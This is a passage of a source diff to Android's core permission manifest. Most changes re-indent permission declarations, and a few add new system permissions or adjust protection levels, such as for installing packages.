-                android:label="@string/permlab_writeSyncSettings"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_writeSyncSettings"
+        android:label="@string/permlab_writeSyncSettings"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to read the sync stats.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.READ_SYNC_STATS"
-                android:description="@string/permdesc_readSyncStats"
-                android:label="@string/permlab_readSyncStats"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_readSyncStats"
+        android:label="@string/permlab_readSyncStats"
+        android:protectionLevel="normal" />
 
     <!-- ============================================ -->
     <!-- Permissions for low-level system interaction -->
@@ -1837,12 +2014,12 @@
 
     <!-- @SystemApi @hide Change the screen compatibility mode of applications -->
     <permission android:name="android.permission.SET_SCREEN_COMPATIBILITY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to modify the current configuration, such
          as locale. -->
     <permission android:name="android.permission.CHANGE_CONFIGURATION"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- Allows an application to read or write the system settings.
 
@@ -1857,51 +2034,51 @@
         <p>Protection level: signature
     -->
     <permission android:name="android.permission.WRITE_SETTINGS"
-                android:label="@string/permlab_writeSettings"
-                android:description="@string/permdesc_writeSettings"
-                android:protectionLevel="signature|preinstalled|appop|pre23" />
+        android:label="@string/permlab_writeSettings"
+        android:description="@string/permdesc_writeSettings"
+        android:protectionLevel="signature|preinstalled|appop|pre23" />
 
     <!-- @SystemApi Allows an application to modify the Google service map.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WRITE_GSERVICES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to call
         {@link android.app.ActivityManager#forceStopPackage}.
         @hide -->
     <permission android:name="android.permission.FORCE_STOP_PACKAGES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to retrieve the content of the active window
          An active window is the window that has fired an accessibility event. -->
     <permission android:name="android.permission.RETRIEVE_WINDOW_CONTENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Modify the global animation scaling factor.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_ANIMATION_SCALE"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @deprecated This functionality will be removed in the future; please do
          not use. Allow an application to make its activities persistent. -->
     <permission android:name="android.permission.PERSISTENT_ACTIVITY"
-                android:label="@string/permlab_persistentActivity"
-                android:description="@string/permdesc_persistentActivity"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_persistentActivity"
+        android:description="@string/permdesc_persistentActivity"
+        android:protectionLevel="normal" />
 
     <!-- Allows an application to find out the space used by any package.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.GET_PACKAGE_SIZE"
-                android:label="@string/permlab_getPackageSize"
-                android:description="@string/permdesc_getPackageSize"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_getPackageSize"
+        android:description="@string/permdesc_getPackageSize"
+        android:protectionLevel="normal" />
 
     <!-- @deprecated No longer useful, see
          {@link android.content.pm.PackageManager#addPackageToPreferred}
          for details. -->
     <permission android:name="android.permission.SET_PREFERRED_APPLICATIONS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature|verifier" />
 
     <!-- Allows an application to receive the
          {@link android.content.Intent#ACTION_BOOT_COMPLETED} that is
@@ -1917,9 +2094,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"
-                android:label="@string/permlab_receiveBootCompleted"
-                android:description="@string/permdesc_receiveBootCompleted"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_receiveBootCompleted"
+        android:description="@string/permdesc_receiveBootCompleted"
+        android:protectionLevel="normal" />
 
     <!-- Allows an application to broadcast sticky intents.  These are
          broadcasts whose data is held by the system after being finished,
@@ -1928,90 +2105,90 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.BROADCAST_STICKY"
-                android:label="@string/permlab_broadcastSticky"
-                android:description="@string/permdesc_broadcastSticky"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_broadcastSticky"
+        android:description="@string/permdesc_broadcastSticky"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows mounting and unmounting file systems for removable storage.
     <p>Not for use by third-party applications.-->
     <permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows formatting file systems for removable storage.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MOUNT_FORMAT_FILESYSTEMS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide -->
     <permission android:name="android.permission.STORAGE_INTERNAL"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows access to ASEC non-destructive API calls
          @hide  -->
     <permission android:name="android.permission.ASEC_ACCESS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows creation of ASEC volumes
          @hide  -->
     <permission android:name="android.permission.ASEC_CREATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows destruction of ASEC volumes
          @hide  -->
     <permission android:name="android.permission.ASEC_DESTROY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows mount / unmount of ASEC volumes
          @hide  -->
     <permission android:name="android.permission.ASEC_MOUNT_UNMOUNT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows rename of ASEC volumes
          @hide  -->
     <permission android:name="android.permission.ASEC_RENAME"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows applications to write the apn settings.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WRITE_APN_SETTINGS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows applications to change network connectivity state.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.CHANGE_NETWORK_STATE"
-                android:description="@string/permdesc_changeNetworkState"
-                android:label="@string/permlab_changeNetworkState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_changeNetworkState"
+        android:label="@string/permlab_changeNetworkState"
+        android:protectionLevel="normal" />
 
     <!-- Allows an application to clear the caches of all installed
          applications on the device.
          <p>Protection level: system|signature
     -->
     <permission android:name="android.permission.CLEAR_APP_CACHE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to use any media decoder when decoding for playback
          @hide -->
     <permission android:name="android.permission.ALLOW_ANY_CODEC_FOR_PLAYBACK"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to install and/or uninstall CA certificates on
          behalf of the user.
          @hide -->
     <permission android:name="android.permission.MANAGE_CA_CERTIFICATES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to do certain operations needed for
          interacting with the recovery (system update) system.
          @hide -->
     <permission android:name="android.permission.RECOVERY"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows the system to bind to an application's task services
          @hide -->
     <permission android:name="android.permission.BIND_JOB_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
     <uses-permission android:name="android.permission.BIND_JOB_SERVICE"/>
 
     <!-- Allows an application to initiate configuration updates
@@ -2020,7 +2197,7 @@
          it off to the various individual installer components
          @hide -->
     <permission android:name="android.permission.UPDATE_CONFIG"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows a time zone rule updater application to request
          the system installs / uninstalls timezone rules.
@@ -2041,7 +2218,19 @@
     <!-- Allows the system to reset throttling in shortcut manager.
          @hide -->
     <permission android:name="android.permission.RESET_SHORTCUT_MANAGER_THROTTLING"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
+
+    <!-- Allows the system to bind to the discovered Network Recommendation Service.
+         @SystemApi @hide -->
+    <permission android:name="android.permission.BIND_NETWORK_RECOMMENDATION_SERVICE"
+        android:protectionLevel="signature" />
+    <uses-permission android:name="android.permission.BIND_NETWORK_RECOMMENDATION_SERVICE"/>
+
+    <!-- Allows an application to enable, disable and change priority of
+         runtime resource overlays.
+         @hide -->
+    <permission android:name="android.permission.CHANGE_OVERLAY_PACKAGES"
+        android:protectionLevel="signature|privileged" />
 
     <!-- ========================================= -->
     <!-- Permissions for special development tools -->
@@ -2051,40 +2240,40 @@
     <!-- @SystemApi Allows an application to read or write the secure system settings.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WRITE_SECURE_SETTINGS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to retrieve state dump information from system services.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.DUMP"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to read the low-level system log files.
     <p>Not for use by third-party applications, because
     Log entries can contain the user's private information. -->
     <permission android:name="android.permission.READ_LOGS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Configure an application for debugging.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_DEBUG_APP"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to set the maximum number of (not needed)
          application processes that can be running.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_PROCESS_LIMIT"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to control whether activities are immediately
          finished when put in the background.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_ALWAYS_FINISH"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allow an application to request that a signal be sent to all persistent processes.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SIGNAL_PERSISTENT_PROCESSES"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- ==================================== -->
     <!-- Private permissions                  -->
@@ -2093,34 +2282,34 @@
 
     <!-- @SystemApi Allows access to the list of accounts in the Accounts Service. -->
     <permission android:name="android.permission.GET_ACCOUNTS_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows but does not guarantee access to user passwords at the conclusion of add account
     @hide -->
     <permission android:name="android.permission.GET_PASSWORD"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows applications to RW to diagnostic resources.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.DIAGNOSTIC"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to open, close, or disable the status bar
          and its icons.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.STATUS_BAR"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to be the status bar.  Currently used only by SystemUI.apk
     @hide -->
     <permission android:name="android.permission.STATUS_BAR_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to bind to third party quick settings tiles.
          <p>Should only be requested by the System, should be required by
          TileService declarations.-->
     <permission android:name="android.permission.BIND_QUICK_SETTINGS_TILE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to force a BACK operation on whatever is the
          top activity.
@@ -2128,28 +2317,28 @@
          @hide
     -->
     <permission android:name="android.permission.FORCE_BACK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to update device statistics.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.UPDATE_DEVICE_STATS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to collect battery statistics -->
     <permission android:name="android.permission.GET_APP_OPS_STATS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to update application operation statistics. Not for
          use by third party apps.
          @hide -->
     <permission android:name="android.permission.UPDATE_APP_OPS_STATS"
-                android:protectionLevel="signature|privileged|installer" />
+        android:protectionLevel="signature|privileged|installer" />
 
     <!-- @SystemApi Allows an application to update the user app op restrictions.
          Not for use by third party apps.
          @hide -->
     <permission android:name="android.permission.MANAGE_APP_OPS_RESTRICTIONS"
-                android:protectionLevel="signature|installer" />
+        android:protectionLevel="signature|installer" />
 
     <!-- @SystemApi Allows an application to open windows that are for use by parts
          of the system user interface.
@@ -2157,7 +2346,7 @@
          @hide
     -->
     <permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to manage (create, destroy,
          Z-order) application tokens in the window manager.
@@ -2165,17 +2354,17 @@
          @hide
     -->
     <permission android:name="android.permission.MANAGE_APP_TOKENS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows System UI to register listeners for events from Window Manager.
          @hide -->
     <permission android:name="android.permission.REGISTER_WINDOW_MANAGER_LISTENERS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows the application to temporarily freeze the screen for a
          full-screen transition. -->
     <permission android:name="android.permission.FREEZE_SCREEN"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to inject user events (keys, touch, trackball)
          into the event stream and deliver them to ANY window.  Without this
@@ -2184,24 +2373,32 @@
          @hide
     -->
     <permission android:name="android.permission.INJECT_EVENTS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to register an input filter which filters the stream
          of user events (keys, touch, trackball) before they are dispatched to any window. -->
     <permission android:name="android.permission.FILTER_EVENTS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to retrieve the window token from the accessibility manager. -->
     <permission android:name="android.permission.RETRIEVE_WINDOW_TOKEN"
+        android:protectionLevel="signature" />
+
+    <!-- @hide Allows an application to modify accessibility information from another app. -->
+    <permission android:name="android.permission.MODIFY_ACCESSIBILITY_DATA"
+                android:protectionLevel="signature" />
+
+    <!-- @hide Allows an application to change the accessibility volume. -->
+    <permission android:name="android.permission.CHANGE_ACCESSIBILITY_VOLUME"
                 android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to collect frame statistics -->
     <permission android:name="android.permission.FRAME_STATS"
-                android:protectionLevel="signature" />
+         android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to temporary enable accessibility on the device. -->
     <permission android:name="android.permission.TEMPORARY_ENABLE_ACCESSIBILITY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to watch and control how activities are
          started globally in the system.  Only for is in debugging
@@ -2210,13 +2407,13 @@
          @hide
     -->
     <permission android:name="android.permission.SET_ACTIVITY_WATCHER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to call the activity manager shutdown() API
          to put the higher-level system there into a shutdown state.
          @hide -->
     <permission android:name="android.permission.SHUTDOWN"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to tell the activity manager to temporarily
          stop application switches, putting it into a special mode that
@@ -2224,7 +2421,7 @@
          critical UI such as the home screen.
          @hide -->
     <permission android:name="android.permission.STOP_APP_SWITCHES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to retrieve private information about
          the current top activity, such as any assist context it can provide.
@@ -2232,42 +2429,42 @@
          @hide
     -->
     <permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to retrieve the current state of keys and
          switches.
          <p>Not for use by third-party applications.
          @deprecated The API that used this permission has been removed. -->
     <permission android:name="android.permission.READ_INPUT_STATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.inputmethodservice.InputMethodService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_INPUT_METHOD"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.media.midi.MidiDeviceService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_MIDI_DEVICE_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.accessibilityservice.AccessibilityService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.printservice.PrintService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_PRINT_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.printservice.recommendation.RecommendationService},
      to ensure that only the system can bind to it.
@@ -2276,7 +2473,7 @@
      <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_PRINT_RECOMMENDATION_SERVICE"
-                android:protectionLevel="signature" />
+            android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.nfc.cardemulation.HostApduService}
          or {@link android.nfc.cardemulation.OffHostApduService} to ensure that only
@@ -2284,65 +2481,81 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_NFC_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by the PrintSpooler to ensure that only the system can bind to it.
          @hide -->
     <permission android:name="android.permission.BIND_PRINT_SPOOLER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
+
+    <!-- Must be required by the CompanionDeviceManager to ensure that only the system can bind to it.
+         @hide -->
+    <permission android:name="android.permission.BIND_COMPANION_DEVICE_MANAGER_SERVICE"
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Must be required by the RuntimePermissionPresenterService to ensure
          that only the system can bind to it.
          @hide -->
     <permission android:name="android.permission.BIND_RUNTIME_PERMISSION_PRESENTER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a TextService (e.g. SpellCheckerService)
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_TEXT_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.net.VpnService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_VPN_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.service.wallpaper.WallpaperService},
          to ensure that only the system can bind to it.
          <p>Protection level: system|signature
     -->
     <permission android:name="android.permission.BIND_WALLPAPER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.service.voice.VoiceInteractionService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_VOICE_INTERACTION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
+
+    <!-- Must be required by a {@link android.service.autofill.AutofillService},
+         to ensure that only the system can bind to it.
+         <p>Protection level: signature
+    -->
+    <permission android:name="android.permission.BIND_AUTOFILL_SERVICE"
+        android:protectionLevel="signature" />
+
+    <!-- @hide TODO(b/37563972): remove once clients use BIND_AUTOFILL_SERVICE -->
+    <permission android:name="android.permission.BIND_AUTOFILL"
+        android:protectionLevel="signature" />
 
     <!-- Must be required by hotword enrollment application,
          to ensure that only the system can interact with it.
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.MANAGE_VOICE_KEYPHRASES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link com.android.media.remotedisplay.RemoteDisplayProvider},
          to ensure that only the system can bind to it.
          @hide -->
     <permission android:name="android.permission.BIND_REMOTE_DISPLAY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.media.tv.TvInputService}
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_TV_INPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi
          Must be required by a {@link com.android.media.tv.remoteprovider.TvRemoteProvider}
@@ -2351,7 +2564,7 @@
          <p>Not for use by third-party applications. </p>
          @hide  -->
     <permission android:name="android.permission.BIND_TV_REMOTE_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi
          Must be required for a virtual remote controller for TV.
@@ -2359,32 +2572,39 @@
          <p>Not for use by third-party applications. </p>
          @hide  -->
     <permission android:name="android.permission.TV_VIRTUAL_REMOTE_CONTROLLER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to modify parental controls
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.MODIFY_PARENTAL_CONTROLS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
+
+    <!-- @SystemApi Allows an application to notify TV inputs by sending broadcasts.
+         <p>Protection level: signature|privileged
+         <p>Not for use by third-party applications.
+         @hide -->
+    <permission android:name="android.permission.NOTIFY_TV_INPUTS"
+         android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.media.routing.MediaRouteService}
          to ensure that only the system can interact with it.
          @hide -->
     <permission android:name="android.permission.BIND_ROUTE_PROVIDER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by device administration receiver, to ensure that only the
          system can interact with it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_DEVICE_ADMIN"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Required to add or remove another application as a device admin.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.MANAGE_DEVICE_ADMINS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows low-level access to setting the orientation (actually
          rotation) of the screen.
@@ -2392,75 +2612,85 @@
          @hide
     -->
     <permission android:name="android.permission.SET_ORIENTATION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows low-level access to setting the pointer speed.
          <p>Not for use by third-party applications.
          @hide
     -->
     <permission android:name="android.permission.SET_POINTER_SPEED"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows low-level access to setting input device calibration.
          <p>Not for use by normal applications.
          @hide -->
     <permission android:name="android.permission.SET_INPUT_CALIBRATION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows low-level access to setting the keyboard layout.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.SET_KEYBOARD_LAYOUT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to query tablet mode state and monitor changes
          in it.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.TABLET_MODE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to request installing packages. Apps
-         targeting APIs greater than 22 must hold this permission in
+         targeting APIs greater than 25 must hold this permission in
          order to use {@link android.content.Intent#ACTION_INSTALL_PACKAGE}.
-         <p>Protection level: normal
+         <p>Protection level: signature
     -->
     <permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"
-                android:label="@string/permlab_requestInstallPackages"
-                android:description="@string/permdesc_requestInstallPackages"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_requestInstallPackages"
+        android:description="@string/permdesc_requestInstallPackages"
+        android:protectionLevel="signature|appop" />
+
+    <!-- Allows an application to request deleting packages. Apps
+         targeting APIs greater than 25 must hold this permission in
+         order to use {@link android.content.Intent#ACTION_UNINSTALL_PACKAGE}.
+         <p>Protection level: normal
+    -->
+    <permission android:name="android.permission.REQUEST_DELETE_PACKAGES"
+        android:label="@string/permlab_requestDeletePackages"
+        android:description="@string/permdesc_requestDeletePackages"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an application to install packages.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.INSTALL_PACKAGES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to clear user data.
          <p>Not for use by third-party applications
          @hide
     -->
     <permission android:name="android.permission.CLEAR_APP_USER_DATA"
-                android:protectionLevel="signature|installer" />
+        android:protectionLevel="signature|installer" />
 
     <!-- @hide Allows an application to get the URI permissions
          granted to another application.
          <p>Not for use by third-party applications
     -->
     <permission android:name="android.permission.GET_APP_GRANTED_URI_PERMISSIONS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to clear the URI permissions
          granted to another application.
          <p>Not for use by third-party applications
     -->
     <permission
-            android:name="android.permission.CLEAR_APP_GRANTED_URI_PERMISSIONS"
-            android:protectionLevel="signature" />
+        android:name="android.permission.CLEAR_APP_GRANTED_URI_PERMISSIONS"
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to delete cache files.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.DELETE_CACHE_FILES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to delete packages.
          <p>Not for use by third-party applications.
@@ -2468,250 +2698,270 @@
          when the application deleting the package is not the same application that installed the
          package. -->
     <permission android:name="android.permission.DELETE_PACKAGES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to move location of installed package.
          @hide -->
     <permission android:name="android.permission.MOVE_PACKAGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to change whether an application component (other than its own) is
          enabled or not.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to grant specific permissions.
          @hide -->
     <permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS"
-                android:protectionLevel="signature|installer|verifier" />
+        android:protectionLevel="signature|installer|verifier" />
 
     <!-- @SystemApi Allows an app that has this permission and the permissions to install packages
          to request certain runtime permissions to be granted at installation.
          @hide -->
     <permission android:name="android.permission.INSTALL_GRANT_RUNTIME_PERMISSIONS"
-                android:protectionLevel="signature|installer|verifier" />
+        android:protectionLevel="signature|installer|verifier" />
 
     <!-- @SystemApi Allows an application to revoke specific permissions.
         @hide -->
     <permission android:name="android.permission.REVOKE_RUNTIME_PERMISSIONS"
-                android:protectionLevel="signature|installer|verifier" />
+         android:protectionLevel="signature|installer|verifier" />
 
     <!-- @hide Allows an application to observe permission changes. -->
     <permission android:name="android.permission.OBSERVE_GRANT_REVOKE_PERMISSIONS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
          <p>Not for use by third-party applications.
          @hide
     -->
     <permission android:name="android.permission.ACCESS_SURFACE_FLINGER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to take screen shots and more generally
          get access to the frame buffer data.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.READ_FRAME_BUFFER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to use InputFlinger's low level features.
          @hide -->
     <permission android:name="android.permission.ACCESS_INPUT_FLINGER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to configure and connect to Wifi displays
          @hide -->
     <permission android:name="android.permission.CONFIGURE_WIFI_DISPLAY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to control low-level features of Wifi displays
          such as opening an RTSP socket.  This permission should only be used
          by the display manager.
          @hide -->
     <permission android:name="android.permission.CONTROL_WIFI_DISPLAY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to control the color modes set for displays system-wide.
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.CONFIGURE_DISPLAY_COLOR_MODE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to control VPN.
